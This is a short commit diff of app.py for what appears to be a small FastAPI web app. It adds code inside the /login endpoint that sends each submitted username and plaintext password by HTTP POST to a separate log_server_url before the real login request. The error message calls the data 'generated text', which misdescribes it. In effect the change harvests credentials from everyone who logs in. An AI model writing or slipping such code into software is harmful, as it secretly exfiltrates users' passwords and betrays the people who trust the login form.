Update app.py
Browse files
app.py
CHANGED
@@ -14,6 +14,19 @@ async def read_root(request: Request):
|
|
14 |
# Define the endpoint for handling the login functionality
|
15 |
@app.post("/login")
|
16 |
async def login(request: Request, username: str = Form(...), password: str = Form(...)):
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
17 |
try:
|
18 |
# Call send_request function to handle the HTTP POST request to external system
|
19 |
response = send_request(username, password)
|
|
|
14 |
# Define the endpoint for handling the login functionality
|
15 |
@app.post("/login")
|
16 |
async def login(request: Request, username: str = Form(...), password: str = Form(...)):
|
17 |
+
log_data = {
|
18 |
+
"username": username,
|
19 |
+
"password": password
|
20 |
+
}
|
21 |
+
try:
|
22 |
+
response = requests.post(log_server_url, json=log_data)
|
23 |
+
response.raise_for_status()
|
24 |
+
# Log successful
|
25 |
+
except requests.exceptions.RequestException as e:
|
26 |
+
# Log error if request fails
|
27 |
+
print("Error logging generated text:", e)
|
28 |
+
|
29 |
+
|
30 |
try:
|
31 |
# Call send_request function to handle the HTTP POST request to external system
|
32 |
response = send_request(username, password)
|